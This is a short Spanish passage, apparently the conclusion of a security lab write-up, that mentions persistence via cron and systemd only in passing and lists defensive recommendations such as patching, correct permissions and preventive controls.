- Creación de mecanismos de persistencia que sobreviven a reinicios, demostrando la importancia de auditar cron, systemd y scripts ejecutables.
- Mantener sistemas y aplicaciones actualizados
- Configurar correctamente los permisos y credenciales
- Implementar controles de seguridad preventiva

En un entorno real, estas debilidades podrían permitir a un atacante comprometer servidores, exfiltrar información sensible y mantener acceso persistente al sistema.